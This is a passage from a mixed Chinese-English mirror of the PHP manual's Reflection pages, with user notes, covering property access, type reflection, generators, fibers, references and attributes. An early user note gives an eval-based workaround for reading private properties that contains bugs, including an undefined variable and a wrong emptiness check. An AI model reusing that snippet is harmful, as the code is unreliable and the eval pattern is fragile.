$arr = (array)$obj;

print_r($arr);
?>

Output:

PHP Version: 5.2.12
Array
(
    [Foobar] => private
    [*bar2] => protected
    [bar3] => public
)

PHP Version: 5.1.6
Array
(
    [Foobar] => private
    [*bar2] => protected
    [bar3] => public
)
Rob McVey 11-Jun-2010 10:11
If you are using < PHP 5.3 and need to get the private attributes and values, you can use this method:

This is what you are doing:

<?php
$obj_with_privates = new MyObject();
$class     = get_class($obj_with_privates);
$vars     = get_object_vars($obj_with_privates);
//will not show private attributes
print_r($vars);

$reflection = new ReflectionClass( $class );
$attributes = $reflection->getProperties();
//still no private access!
print_r($attributes);
?>

This is what you should do:

<?php
$obj_with_privates = new MyObject();

$class         = get_class( $obj_with_privates );
$reflection = new ReflectionClass( $class );
$abstract    = $reflection->getMethods( ReflectionMethod::IS_ABSTRACT );
$priv_attr  = $reflection->getProperties( ReflectionProperty::IS_PRIVATE );
$privates   = array();
$parent     = get_parent_class( $class );
$child         = $class;
$constructor = $reflection->getConstructor();

//If the class has abstract methods you need to implement them
$abstr_methods = "";
if(sizeof($abstr_methods))
{
    foreach($abstract as $method)
    {
        $mname = $method->name;
        $abstr_methods .= "public function $mname(){return false;}";
    }
}

//Convert private attributes to public attributes
if(sizeof($priv_attr))
{
    $parseable = unserialize(str_replace("\0$class\0", "\0*\0", serialize($obj)));
    foreach($priv_attr as $attribute)
    {
        $aname = $attribute->name;
        $privates[$aname] = $parseable->$aname;
    }
}

$temp_child_class = "temp" . str_replace("_", "", "$class");

//You can gain access to protected attributes by extending the target class
$class_def = "
class $temp_child_class extends $class{
    $constructor
    public function reflect_getmyvars(){
        return get_object_vars(\$this);
    }
    $abstr_methods
}
";

//place class definition in memory
eval($class_def);

//generate object from dynamic class
$tcobj =@ new $temp_child_class;
//call the method we added to the object (to access protected vars)
$vars = $tcobj->reflect_getmyvars();

$attribs = array_merge($vars, $privates);

//will now show private attributes
print_r($attribs);
?>


Set property value

  • ? ReflectionProperty::setAccessible
  • ReflectionProperty::__toString ?
  • PHP Manual
  • ReflectionProperty
  • Set property value

ReflectionProperty::setValue

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::setValue — Set property value

说明

public ReflectionProperty::setValue(object $object, mixed $value): void
public ReflectionProperty::setValue(mixed $value): void

Sets (changes) the property's value.

Note: As of PHP 8.3.0, calling this method with a single argument is deprecated, use ReflectionClass::setStaticPropertyValue() instead.

参数

object

If the property is non-static an object must be provided to change the property on. If the property is static a value of null must be to be provided.

value

The new value.

返回值

没有返回值。

更新日志

版本 | 说明
8.3.0 | Calling this method with a single argument is deprecated, ReflectionClass::setStaticPropertyValue() should be used instead to modify static properties.
8.1.0 | Private and protected properties can be accessed by ReflectionProperty::setValue() right away. Previously, they needed to be made accessible by calling ReflectionProperty::setAccessible(); otherwise a ReflectionException was thrown.

示例

Example #1 ReflectionProperty::setValue() example

<?php
class Foo {
public static $staticProperty;

public $property;
protected $privateProperty;
}

$reflectionClass = new ReflectionClass('Foo');

// As of PHP 8.3, setValue should no longer be used to set static property value, use setStaticPropertyValue() instead
$reflectionClass->setStaticPropertyValue('staticProperty', 'foo');
var_dump(Foo::$staticProperty);

$foo = new Foo;

$reflectionClass->getProperty('property')->setValue($foo, 'bar');
var_dump($foo->property);

$reflectionProperty = $reflectionClass->getProperty('privateProperty');
$reflectionProperty->setAccessible(true); // only required prior to PHP 8.1.0
$reflectionProperty->setValue($foo, 'foobar');
var_dump($reflectionProperty->getValue($foo));
?>

以上示例会输出：

string(3) "foo"
string(3) "bar"
string(6) "foobar"

参见

  • ReflectionProperty::getValue() - Gets value
  • ReflectionProperty::setAccessible() - Set property accessibility
  • ReflectionClass::setStaticPropertyValue() - 设置静态属性的值

User Contributed Notes

p stewart imperial ac uk 16-Dec-2022 03:18
setValue can be used for readonly properties, but only if the property has not yet been initialised:

<?php

class Person
{
    private readonly int $age;
    public function __construct(array $props = []) {
        if (isset($props['age'])) {
            $this->age = (int)$props['age'];
        }
    }
}

$personWithKnownAge = new Person(['age' => 50]);

$reflection = new ReflectionProperty($personWithKnownAge, 'age');
$reflection->setValue($personWithKnownAge, 10); // Fails - Age is already initialised, value cannot be changed.

$personWithUnknownAge = new Person();

$reflection = new ReflectionProperty($personWithUnknownAge, 'age');
$reflection->setValue($personWithUnknownAge, 10); // Succeeeds - Age is not yet initialised, value can be set.
?>

This can be useful for situations where it is desirable to initialise properties from outside of the defining class, for example an ORM setup where the parent class is responsible for setting properties on a model subclass instance.
temirkhan.nasukhov 10-Oct-2022 05:41
Keep in mind that setValue won't work for readonly properties.

<?php

class Person
{
    public function __construct(private readonly int $age) {}
}

$someOldPerson = new Person(80);

$reflection = new ReflectionProperty($someOldPerson, 'age');
$reflection->setValue($someOldPerson, 10); // Fatal error: Uncaught Error: Cannot modify readonly property Person::$age
me at ircmaxell dot om 22-Jun-2011 09:27
You can use ReflectionProperty::setValue to set the value on static properties as well as regular instance properties.  Simply pass null in place of the instance:

<?php
class Foo {
    protected static $bar = null;
    public static function sayBar() {
        echo self::$bar;
    }
}

$r = new ReflectionProperty('Foo', 'bar');
$r->setAccessible(true);
$r->setValue(null, 'foo');

Foo::sayBar(); // "foo"
?>


To string

  • ? ReflectionProperty::setValue
  • ReflectionType ?
  • PHP Manual
  • ReflectionProperty
  • To string

ReflectionProperty::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::__toString — To string

说明

public ReflectionProperty::__toString(): string

Returns the string representation of the property.

参数

此函数没有参数。

返回值

The string.

参见

  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionType 类

(PHP 7, PHP 8)

简介

ReflectionType 类报告有关函数的参数/返回类型以及类的属性类型的信息。Reflection 扩展声明了以下子类型：

  • ReflectionNamedType（自 PHP 7.1.0 起）
  • ReflectionUnionType（自 PHP 8.0.0 起）
  • ReflectionIntersectionType（自 PHP 8.1.0 起）

类摘要

abstract class ReflectionType implements Stringable {
/* 方法 */
public allowsNull(): bool
public __toString(): string
}

更新日志

版本 | 说明
8.0.0 | ReflectionType 已成为抽象类，ReflectionType::isBuiltin() 已移至 ReflectionNamedType::isBuiltin()。

Table of Contents

  • ReflectionType::allowsNull — Checks if null is allowed
  • ReflectionType::__toString — To string

User Contributed Notes

Ondej Mirtes 27-Sep-2020 06:53
Method ReflectionType::getName() does not exist. This may have been virtually true in the past but not anymore. It exists on ReflectionNamedType which used to be the only child class of ReflectionType. So you could have kind of relied on that.

But in PHP 8 there's also ReflectionUnionType which doesn't have the getName() method. So in order to support PHP 8, you need to support both ReflectionNamedType and ReflectionUnionType.
benjamin dot morel at gmail dot com 18-Sep-2020 09:03
Known subclasses:

- ReflectionNamedType
- ReflectionUnionType
roland at mxchange dot org 11-Mar-2020 09:13
I guess it is <?php ReflectionNamedType::getName(); ?> ?
1franck 28-Jan-2020 08:59
For those who stumble on notice about ReflectionType::__toString() beeing deprecated, use method ReflectionType::getName() instead which is not yet documented.


Checks if null is allowed

  • ? ReflectionType
  • ReflectionType::__toString ?
  • PHP Manual
  • ReflectionType
  • Checks if null is allowed

ReflectionType::allowsNull

(PHP 7, PHP 8)

ReflectionType::allowsNull — Checks if null is allowed

说明

public ReflectionType::allowsNull(): bool

Checks whether the parameter allows null.

参数

此函数没有参数。

返回值

true if null is allowed, otherwise false

示例

Example #1 ReflectionType::allowsNull() example

<?php
function someFunction(string $param, stdClass $param2 = null) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->getType()->allowsNull());
var_dump($reflectionParams[1]->getType()->allowsNull());

以上示例会输出：

bool(false)
bool(true)

参见

  • ReflectionNamedType::isBuiltin() - 检查它是否是内置类型
  • ReflectionType::__toString() - To string
  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

There are no user contributed notes for this page.


To string

  • ? ReflectionType::allowsNull
  • ReflectionUnionType ?
  • PHP Manual
  • ReflectionType
  • To string

ReflectionType::__toString

(PHP 7, PHP 8)

ReflectionType::__toString — To string

Warning

本函数已自 PHP 7.1.0 起废弃。强烈建议不要使用本函数。

说明

public ReflectionType::__toString(): string

Gets the parameter type name.

参数

此函数没有参数。

返回值

Returns the type of the parameter.

更新日志

版本 | 说明
7.1.0 | ReflectionType::__toString() has been deprecated.

示例

Example #1 ReflectionType::__toString() example

<?php
function someFunction(string $param) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParam = $reflectionFunc->getParameters()[0];

echo $reflectionParam->getType();

以上示例的输出类似于：

string

参见

  • ReflectionNamedType::getName() - 以字符串形式获取类型的名称
  • ReflectionNamedType::isBuiltin() - 检查它是否是内置类型
  • ReflectionType::allowsNull() - Checks if null is allowed
  • ReflectionUnionType::getTypes() - 返回联合类型中包含的类型
  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

Anonymous 26-Jul-2020 04:32
Regarding this method's deprecation:

ReflectionType::__toString() was first deprecated in PHP 7.1.0 alpha1.
The deprecation notice was removed in PHP 7.1.0 RC3, before being reinstated in PHP 7.4.0 alpha1.

Starting with PHP 7.1.0 beta 3, ReflectionParameter::getType() & ReflectionFunctionAbstract::getReturnType() return instances of ReflectionNamedType instead of ReflectionType.
The ReflectionNamedType class inherits from ReflectionType but provides an additional getName() method which can be used to retrieve the type hint.

Lastly, PHP 8.0.0 alpha1 introduced the concept of union types (see https://wiki.php.net/rfc/union_types_v2). As a result, ReflectionParameter::getType() & ReflectionFunctionAbstract::getReturnType() will now return either instances of ReflectionNamedType or ReflectionUnionType depending on the type hint, both of which are descendants of ReflectionType.


ReflectionUnionType 类

(PHP 8)

简介

类摘要

class ReflectionUnionType extends ReflectionType {
/* 方法 */
public getTypes(): array
/* 继承的方法 */
public ReflectionType::allowsNull(): bool
public ReflectionType::__toString(): string
}

Table of Contents

  • ReflectionUnionType::getTypes — 返回联合类型中包含的类型

User Contributed Notes

There are no user contributed notes for this page.


返回联合类型中包含的类型

  • ? ReflectionUnionType
  • ReflectionGenerator ?
  • PHP Manual
  • ReflectionUnionType
  • 返回联合类型中包含的类型

ReflectionUnionType::getTypes

(PHP 8)

ReflectionUnionType::getTypes — 返回联合类型中包含的类型

说明

public ReflectionUnionType::getTypes(): array

返回联合类型中包含的类型的反射。

参数

此函数没有参数。

返回值

包含 ReflectionType 对象的数组。

示例

Example #1 ReflectionUnionType::getTypes() 示例

<?php
function someFunction(int|float $number) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParam = $reflectionFunc->getParameters()[0];

var_dump($reflectionParam->getType()->getTypes());

以上示例的输出类似于：

array(2) {
    [0] =>
    class ReflectionNamedType#4(0) {
    }
    [1] =>
    class ReflectionNamedType#5(0) {
    }
}

参见

  • ReflectionType::allowsNull() - Checks if null is allowed
  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

baptiste at pillot dot fr 08-Sep-2023 12:22
ReflectionUnionType::getTypes can return an array of ReflectionNamedType and/or ReflectionIntersectionType objects only.
baptiste at pillot dot fr 08-Sep-2023 12:12
Sorting :

Contrary to what one might expect, the returned array of ReflectionType objects will not be sorted in the same order than the types declared into the source code.

- Classes, interfaces, traits, iterable (replaced by Traversable), ReflectionIntersectionType objects, parent and self: these types will be returned first, in the order in which they were declared.
- static and all built-in types (iterable replaced by array) will come next. They will always be returned in this order: static, callable, array, string, int, float, bool (or false or true), null.

Notice that when used into an union type, iterable is an alias for Traversable|array. ReflectionUnionType::getTypes will return these both ReflectionNamedType objects, instead of a single one named 'iterable'.

Example :
<?php
class PC {}
class C extends PC {
    function f(): null|bool|float|int|parent|PC|string|iterable|(ReflectionClass&ReflectionProperty)|callable|static|self|C {}
}
echo join(', ', array_map(
    function($t) { return ($t instanceof ReflectionIntersectionType) ? '<intersection>' : $t->getName(); },
    (new ReflectionMethod('C', 'f'))->getReturnType()->getTypes()
)) . "\n";
?>

Will display :
parent, PC, Traversable, <intersection>, self, C, static, callable, array, string, int, float, bool, null

Try it: https://onlinephp.io/c/777c6


ReflectionGenerator 类

(PHP 7, PHP 8)

简介

ReflectionGenerator 类报告有关生成器的信息。

类摘要

final class ReflectionGenerator {
/* 方法 */
public __construct(Generator $generator)
public getExecutingFile(): string
public getExecutingGenerator(): Generator
public getExecutingLine(): int
public getFunction(): ReflectionFunctionAbstract
public getThis(): ?object
public getTrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT): array
}

更新日志

版本 | 说明
8.0.0 | 类现在是 final。

Table of Contents

  • ReflectionGenerator::__construct — Constructs a ReflectionGenerator object
  • ReflectionGenerator::getExecutingFile — Gets the file name of the currently executing generator
  • ReflectionGenerator::getExecutingGenerator — Gets the executing Generator object
  • ReflectionGenerator::getExecutingLine — Gets the currently executing line of the generator
  • ReflectionGenerator::getFunction — Gets the function name of the generator
  • ReflectionGenerator::getThis — Gets the $this value of the generator
  • ReflectionGenerator::getTrace — Gets the trace of the executing generator

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ReflectionGenerator object

  • ? ReflectionGenerator
  • ReflectionGenerator::getExecutingFile ?
  • PHP Manual
  • ReflectionGenerator
  • Constructs a ReflectionGenerator object

ReflectionGenerator::__construct

(PHP 7, PHP 8)

ReflectionGenerator::__construct — Constructs a ReflectionGenerator object

说明

public ReflectionGenerator::__construct(Generator $generator)

Constructs a ReflectionGenerator object.

参数

generator

A generator object.

示例

Example #1 ReflectionGenerator::__construct() example

<?php

function gen()
{
yield 1;
}

$gen = gen();

$reflectionGen = new ReflectionGenerator($gen);

echo <<< output
{$reflectionGen->getFunction()->name}
Line: {$reflectionGen->getExecutingLine()}
File: {$reflectionGen->getExecutingFile()}
output;

以上示例的输出类似于：

gen
Line: 5
File: /path/to/file/example.php

参见

  • ReflectionGenerator::getFunction() - Gets the function name of the generator
  • ReflectionGenerator::getExecutingLine() - Gets the currently executing line of the generator
  • ReflectionGenerator::getExecutingFile() - Gets the file name of the currently executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the file name of the currently executing generator

  • ? ReflectionGenerator::__construct
  • ReflectionGenerator::getExecutingGenerator ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the file name of the currently executing generator

ReflectionGenerator::getExecutingFile

(PHP 7, PHP 8)

ReflectionGenerator::getExecutingFile — Gets the file name of the currently executing generator

说明

public ReflectionGenerator::getExecutingFile(): string

Get the full path and file name of the currently executing generator.

参数

此函数没有参数。

返回值

Returns the full path and file name of the currently executing generator.

示例

Example #1 ReflectionGenerator::getExecutingFile() example

<?php

class GenExample
{
public function gen()
{
yield 1;
}
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

echo "File: {$reflectionGen->getExecutingFile()}";

以上示例的输出类似于：

File: /path/to/file/example.php

参见

  • ReflectionGenerator::getExecutingLine() - Gets the currently executing line of the generator
  • ReflectionGenerator::getExecutingGenerator() - Gets the executing Generator object

User Contributed Notes

There are no user contributed notes for this page.


Gets the executing Generator object

  • ? ReflectionGenerator::getExecutingFile
  • ReflectionGenerator::getExecutingLine ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the executing Generator object

ReflectionGenerator::getExecutingGenerator

(PHP 7, PHP 8)

ReflectionGenerator::getExecutingGenerator — Gets the executing Generator object

说明

public ReflectionGenerator::getExecutingGenerator(): Generator

Get the executing Generator object

参数

此函数没有参数。

返回值

Returns the currently executing Generator object.

示例

Example #1 ReflectionGenerator::getExecutingGenerator() example

<?php

class GenExample
{
public function gen()
{
yield 1;
}
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

$gen2 = $reflectionGen->getExecutingGenerator();

var_dump($gen2 === $gen);
var_dump($gen2->current());

以上示例的输出类似于：

bool(true)
int(1);

参见

  • ReflectionGenerator::getExecutingLine() - Gets the currently executing line of the generator
  • ReflectionGenerator::getExecutingFile() - Gets the file name of the currently executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the currently executing line of the generator

  • ? ReflectionGenerator::getExecutingGenerator
  • ReflectionGenerator::getFunction ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the currently executing line of the generator

ReflectionGenerator::getExecutingLine

(PHP 7, PHP 8)

ReflectionGenerator::getExecutingLine — Gets the currently executing line of the generator

说明

public ReflectionGenerator::getExecutingLine(): int

Get the currently executing line number of the generator.

参数

此函数没有参数。

返回值

Returns the line number of the currently executing statement in the generator.

示例

Example #1 ReflectionGenerator::getExecutingLine() example

<?php

class GenExample
{
public function gen()
{
yield 1;
}
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

echo "Line: {$reflectionGen->getExecutingLine()}";

以上示例的输出类似于：

Line: 7

参见

  • ReflectionGenerator::getExecutingGenerator() - Gets the executing Generator object
  • ReflectionGenerator::getExecutingFile() - Gets the file name of the currently executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the function name of the generator

  • ? ReflectionGenerator::getExecutingLine
  • ReflectionGenerator::getThis ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the function name of the generator

ReflectionGenerator::getFunction

(PHP 7, PHP 8)

ReflectionGenerator::getFunction — Gets the function name of the generator

说明

public ReflectionGenerator::getFunction(): ReflectionFunctionAbstract

Enables the function name of the generator to be obtained by returning a class derived from ReflectionFunctionAbstract.

参数

此函数没有参数。

返回值

Returns a ReflectionFunctionAbstract class. This will be ReflectionFunction for functions, or ReflectionMethod for methods.

示例

Example #1 ReflectionGenerator::getFunction() example

<?php

function gen()
{
yield 1;
}

$gen = gen();

$reflectionGen = new ReflectionGenerator($gen);

var_dump($reflectionGen->getFunction());

以上示例的输出类似于：

object(ReflectionFunction)#3 (1) {
  ["name"]=>
  string(3) "gen"
}

参见

  • ReflectionGenerator::getThis() - Gets the $this value of the generator
  • ReflectionGenerator::getTrace() - Gets the trace of the executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the $this value of the generator

  • ? ReflectionGenerator::getFunction
  • ReflectionGenerator::getTrace ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the $this value of the generator

ReflectionGenerator::getThis

(PHP 7, PHP 8)

ReflectionGenerator::getThis — Gets the $this value of the generator

说明

public ReflectionGenerator::getThis(): ?object

Get the $this value that the generator has access to.

参数

此函数没有参数。

返回值

Returns the $this value, or null if the generator was not created in a class context.

示例

Example #1 ReflectionGenerator::getThis() example

<?php

class GenExample
{
public function gen()
{
yield 1;
}
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

var_dump($reflectionGen->getThis());

以上示例的输出类似于：

object(GenExample)#3 (0) {
}

参见

  • ReflectionGenerator::getFunction() - Gets the function name of the generator
  • ReflectionGenerator::getTrace() - Gets the trace of the executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the trace of the executing generator

  • ? ReflectionGenerator::getThis
  • ReflectionFiber ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the trace of the executing generator

ReflectionGenerator::getTrace

(PHP 7, PHP 8)

ReflectionGenerator::getTrace — Gets the trace of the executing generator

说明

public ReflectionGenerator::getTrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT): array

Get the trace of the currently executing generator.

参数

options

The value of options can be any of the following flags.

Available options
Option | Description
DEBUG_BACKTRACE_PROVIDE_OBJECT | Default.
DEBUG_BACKTRACE_IGNORE_ARGS | Don't include the argument information for functions in the stack trace.

返回值

Returns the trace of the currently executing generator.

示例

Example #1 ReflectionGenerator::getTrace() example

<?php
function foo() {
yield 1;
}

function bar()
{
yield from foo();
}

function baz()
{
yield from bar();
}

$gen = baz();
$gen->valid(); // start the generator

var_dump((new ReflectionGenerator($gen))->getTrace());

以上示例的输出类似于：

array(2) {
  [0]=>
  array(4) {
    ["file"]=>
    string(18) "example.php"
    ["line"]=>
    int(8)
    ["function"]=>
    string(3) "foo"
    ["args"]=>
    array(0) {
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(18) "example.php"
    ["line"]=>
    int(12)
    ["function"]=>
    string(3) "bar"
    ["args"]=>
    array(0) {
    }
  }
}

参见

  • ReflectionGenerator::getFunction() - Gets the function name of the generator
  • ReflectionGenerator::getThis() - Gets the $this value of the generator

User Contributed Notes

There are no user contributed notes for this page.


ReflectionFiber 类

(PHP 8 >= 8.1.0)

简介

类摘要

final class ReflectionFiber {
/* 方法 */
public __construct(Fiber $fiber)
public getCallable(): callable
public getExecutingFile(): string
public getExecutingLine(): int
public getFiber(): Fiber
public getTrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT): array
}

Table of Contents

  • ReflectionFiber::__construct — Constructs a ReflectionFiber object
  • ReflectionFiber::getCallable — Gets the callable used to create the Fiber
  • ReflectionFiber::getExecutingFile — Get the file name of the current execution point
  • ReflectionFiber::getExecutingLine — Get the line number of the current execution point
  • ReflectionFiber::getFiber — Get the reflected Fiber instance
  • ReflectionFiber::getTrace — Get the backtrace of the current execution point

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ReflectionFiber object

  • ? ReflectionFiber
  • ReflectionFiber::getCallable ?
  • PHP Manual
  • ReflectionFiber
  • Constructs a ReflectionFiber object

ReflectionFiber::__construct

(PHP 8 >= 8.1.0)

ReflectionFiber::__construct — Constructs a ReflectionFiber object

说明

public ReflectionFiber::__construct(Fiber $fiber)

Constructs a ReflectionFiber object.

参数

fiber

The Fiber to reflect.

User Contributed Notes

There are no user contributed notes for this page.


Gets the callable used to create the Fiber

  • ? ReflectionFiber::__construct
  • ReflectionFiber::getExecutingFile ?
  • PHP Manual
  • ReflectionFiber
  • Gets the callable used to create the Fiber

ReflectionFiber::getCallable

(PHP 8 >= 8.1.0)

ReflectionFiber::getCallable — Gets the callable used to create the Fiber

说明

public ReflectionFiber::getCallable(): callable

Returns the callable used to construct the Fiber. If the fiber has terminated, an Error is thrown.

参数

此函数没有参数。

返回值

The callable used to create the Fiber.

User Contributed Notes

There are no user contributed notes for this page.


Get the file name of the current execution point

  • ? ReflectionFiber::getCallable
  • ReflectionFiber::getExecutingLine ?
  • PHP Manual
  • ReflectionFiber
  • Get the file name of the current execution point

ReflectionFiber::getExecutingFile

(PHP 8 >= 8.1.0)

ReflectionFiber::getExecutingFile — Get the file name of the current execution point

说明

public ReflectionFiber::getExecutingFile(): string

Returns the full path and file name of the current execution point in the reflected Fiber. If the fiber has not been started or has terminated, an Error is thrown.

参数

此函数没有参数。

返回值

The full path and file name of the reflected fiber.

User Contributed Notes

There are no user contributed notes for this page.


Get the line number of the current execution point

  • ? ReflectionFiber::getExecutingFile
  • ReflectionFiber::getFiber ?
  • PHP Manual
  • ReflectionFiber
  • Get the line number of the current execution point

ReflectionFiber::getExecutingLine

(PHP 8 >= 8.1.0)

ReflectionFiber::getExecutingLine — Get the line number of the current execution point

说明

public ReflectionFiber::getExecutingLine(): int

Returns the line number of the current execution point in the reflected Fiber. If the fiber has not been started or has terminated, an Error is thrown.

参数

此函数没有参数。

返回值

The line number of the current execution point in the fiber.

User Contributed Notes

There are no user contributed notes for this page.


Get the reflected Fiber instance

  • ? ReflectionFiber::getExecutingLine
  • ReflectionFiber::getTrace ?
  • PHP Manual
  • ReflectionFiber
  • Get the reflected Fiber instance

ReflectionFiber::getFiber

(PHP 8 >= 8.1.0)

ReflectionFiber::getFiber — Get the reflected Fiber instance

说明

public ReflectionFiber::getFiber(): Fiber

Returns the Fiber instance being reflected.

参数

此函数没有参数。

返回值

The Fiber instance being reflected.

User Contributed Notes

There are no user contributed notes for this page.


Get the backtrace of the current execution point

  • ? ReflectionFiber::getFiber
  • ReflectionIntersectionType ?
  • PHP Manual
  • ReflectionFiber
  • Get the backtrace of the current execution point

ReflectionFiber::getTrace

(PHP 8 >= 8.1.0)

ReflectionFiber::getTrace — Get the backtrace of the current execution point

说明

public ReflectionFiber::getTrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT): array

Get the backtrace of the current execution point in the reflected Fiber.

参数

options

The value of options can be any of the following flags.

Available options
Option | 说明
DEBUG_BACKTRACE_PROVIDE_OBJECT | Default.
DEBUG_BACKTRACE_IGNORE_ARGS | Don't include the argument information for functions in the stack trace.

返回值

The backtrace of the current execution point in the fiber.

User Contributed Notes

There are no user contributed notes for this page.


ReflectionIntersectionType 类

(PHP 8 >= 8.1.0)

简介

类摘要

class ReflectionIntersectionType extends ReflectionType {
/* 方法 */
public getTypes(): array
/* 继承的方法 */
public ReflectionType::allowsNull(): bool
public ReflectionType::__toString(): string
}

Table of Contents

  • ReflectionIntersectionType::getTypes — 返回包含在交集类型中的类型

User Contributed Notes

There are no user contributed notes for this page.


返回包含在交集类型中的类型

  • ? ReflectionIntersectionType
  • ReflectionReference ?
  • PHP Manual
  • ReflectionIntersectionType
  • 返回包含在交集类型中的类型

ReflectionIntersectionType::getTypes

(PHP 8 >= 8.1.0)

ReflectionIntersectionType::getTypes — 返回包含在交集类型中的类型

说明

public ReflectionIntersectionType::getTypes(): array

返回包含在交集类型中的类型的反射。

参数

此函数没有参数。

返回值

包含 ReflectionType 对象的数组。

示例

Example #1 ReflectionIntersectionType::getTypes() 示例

<?php

function someFunction(Iterator&Countable $value) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParam = $reflectionFunc->getParameters()[0];

var_dump($reflectionParam->getType()->getTypes());
?>

以上示例的输出类似于：

array(2) {
    [0] =>
    class ReflectionNamedType#4(0) {
    }
    [1] =>
    class ReflectionNamedType#5(0) {
    }
}

参见

  • ReflectionType::allowsNull() - Checks if null is allowed
  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

baptiste at pillot dot fr 08-Sep-2023 12:30
php 8.2: ReflectionIntersectionType::getTypes returns an array of ReflectionNamedType. For now, PHP's DNF implementation does not allow union types nested into intersection types.


ReflectionReference 类

(PHP 7 >= 7.4.0, PHP 8)

简介

ReflectionReference 类提供有关引用的信息。

类摘要

final class ReflectionReference {
/* 方法 */
private __construct()
public static fromArrayElement(array $array, int|string $key): ?ReflectionReference
public getId(): string
}

Table of Contents

  • ReflectionReference::__construct — 私有构造函数以禁用直接实例化
  • ReflectionReference::fromArrayElement — 从数组元素创建一个 ReflectionReference
  • ReflectionReference::getId — 获取引用的唯一 ID

User Contributed Notes

There are no user contributed notes for this page.


私有构造函数以禁用直接实例化

  • ? ReflectionReference
  • ReflectionReference::fromArrayElement ?
  • PHP Manual
  • ReflectionReference
  • 私有构造函数以禁用直接实例化

ReflectionReference::__construct

(No version information available, might only be in Git)

ReflectionReference::__construct — 私有构造函数以禁用直接实例化

说明

private ReflectionReference::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


从数组元素创建一个 ReflectionReference

  • ? ReflectionReference::__construct
  • ReflectionReference::getId ?
  • PHP Manual
  • ReflectionReference
  • 从数组元素创建一个 ReflectionReference

ReflectionReference::fromArrayElement

(PHP 7 >= 7.4.0, PHP 8)

ReflectionReference::fromArrayElement — 从数组元素创建一个 ReflectionReference

说明

public static ReflectionReference::fromArrayElement(array $array, int|string $key): ?ReflectionReference

从数组元素创建一个 ReflectionReference。

参数

array

包含潜在引用的 array。

key

一个 int 或者 string 类型的 key。

返回值

如果 $array[$key] 是引用，返回 ReflectionReference 实例，否则返回 null。

错误／异常

如果 array 不是一个 array，或者 key 不是 int 或者 string 类型，会抛出 TypeError。 如果 $array[$key] 不存在， 会抛出 ReflectionException。

User Contributed Notes

There are no user contributed notes for this page.


获取引用的唯一 ID

  • ? ReflectionReference::fromArrayElement
  • ReflectionAttribute ?
  • PHP Manual
  • ReflectionReference
  • 获取引用的唯一 ID

ReflectionReference::getId

(PHP 7 >= 7.4.0, PHP 8)

ReflectionReference::getId — 获取引用的唯一 ID

说明

public ReflectionReference::getId(): string

返回一个 ID，该 ID 在该引用的生命周期内对于该引用是唯一的。 此 ID 可用于比较引用的相等性，或维护已知引用的映射。

参数

此函数没有参数。

返回值

返回一个未指定格式的 string。

示例

Example #1 基本的 ReflectionReference::getId() 用法

<?php
$val1 = 'foo';
$val2 = 'bar';
$arr = [&$val1, &$val2, &$val1];

$rr1 = ReflectionReference::fromArrayElement($arr, 0);
$rr2 = ReflectionReference::fromArrayElement($arr, 1);
$rr3 = ReflectionReference::fromArrayElement($arr, 2);

var_dump($rr1->getId() === $rr2->getId());
var_dump($rr1->getId() === $rr3->getId());
?>

以上示例会输出：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


ReflectionAttribute 类

(PHP 8)

简介

ReflectionAttribute 类提供有关 注解 的信息。

类摘要

class ReflectionAttribute implements Reflector {
/* 常量 */
public const int IS_INSTANCEOF;
/* 方法 */
private __construct()
public getArguments(): array
public getName(): string
public getTarget(): int
public isRepeated(): bool
public newInstance(): object
}

预定义常量

ReflectionAttribute Flags

ReflectionAttribute::IS_INSTANCEOF

使用 instanceof 检索属性。

Note:

这些常量的值可能会在不同 PHP 版本间发生更改。建议始终使用常量而不直接依赖值。

Table of Contents

  • ReflectionAttribute::__construct — 禁止直接实例化的私有构造函数
  • ReflectionAttribute::getArguments — 获取传递给属性的参数
  • ReflectionAttribute::getName — 获取属性名称
  • ReflectionAttribute::getTarget — 返回属性的目标位掩码
  • ReflectionAttribute::isRepeated — 返回该名称的属性是否已重复出现在代码元素上
  • ReflectionAttribute::newInstance — 实例化由 ReflectionAttribute 类和参数表示的属性类

User Contributed Notes

There are no user contributed notes for this page.


禁止直接实例化的私有构造函数

  • ? ReflectionAttribute
  • ReflectionAttribute::getArguments ?
  • PHP Manual
  • ReflectionAttribute
  • 禁止直接实例化的私有构造函数

ReflectionAttribute::__construct

(PHP 8)

ReflectionAttribute::__construct — 禁止直接实例化的私有构造函数

说明

private ReflectionAttribute::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


获取传递给属性的参数

  • ? ReflectionAttribute::__construct
